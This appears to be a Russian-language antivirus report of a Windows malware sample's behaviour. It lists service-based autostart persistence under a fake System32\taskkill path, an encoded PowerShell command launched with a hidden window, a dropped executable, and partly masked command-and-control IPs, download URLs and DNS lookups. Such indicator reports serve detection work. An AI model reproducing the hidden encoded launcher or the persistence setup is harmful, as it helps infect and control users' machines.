Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\spwmp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\spwmp] 'ImagePath' = '"<SYSTEM32>\taskkill\spwmp.exe"'
- 'spwmp' "<SYSTEM32>\taskkill\spwmp.exe"
- 'spwmp' <SYSTEM32>\taskkill\spwmp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAHMAcgBwAHcAaQB4AD0AKAAoACcATwBwACcAKwAnAGoAdAAnACkAKwAnAHMAcQAnACsAJwB5ACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBQAHIATwBmAEkAbABlAFwAVQAzAFMARgA4AF...
- %HOMEPATH%\u3sf8zg\ty9leb4\ihl1j0.exe
- <SYSTEM32>\taskkill\spwmp.exe
- %HOMEPATH%\u3sf8zg\ty9leb4\ihl1j0.exe в <SYSTEM32>\taskkill\spwmp.exe
- '18#.#15.227.107':443
- http://an####cardozo.com/programas/k/
- http://18#.##5.227.107:443/fWs9f0WaT/1fAIwL5eatIXEKs/7Hk5FkIwPqWSuVq3MrH/iiwLyeL8fupYTuF/ via 18#.#15.227.107
- DNS ASK si###gps.com
- DNS ASK an####cardozo.com
- '%HOMEPATH%\u3sf8zg\ty9leb4\ihl1j0.exe'
- '<SYSTEM32>\taskkill\spwmp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABEAHMAcgBwAHcAaQB4AD0AKAAoACcATwBwACcAKwAnAGoAdAAnACkAKwAnAHMAcQAnACsAJwB5ACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAGUAcgBQAHIATwBmAEkAbABlAFwAVQAzAFMARgA4AF...' (со скрытым окном)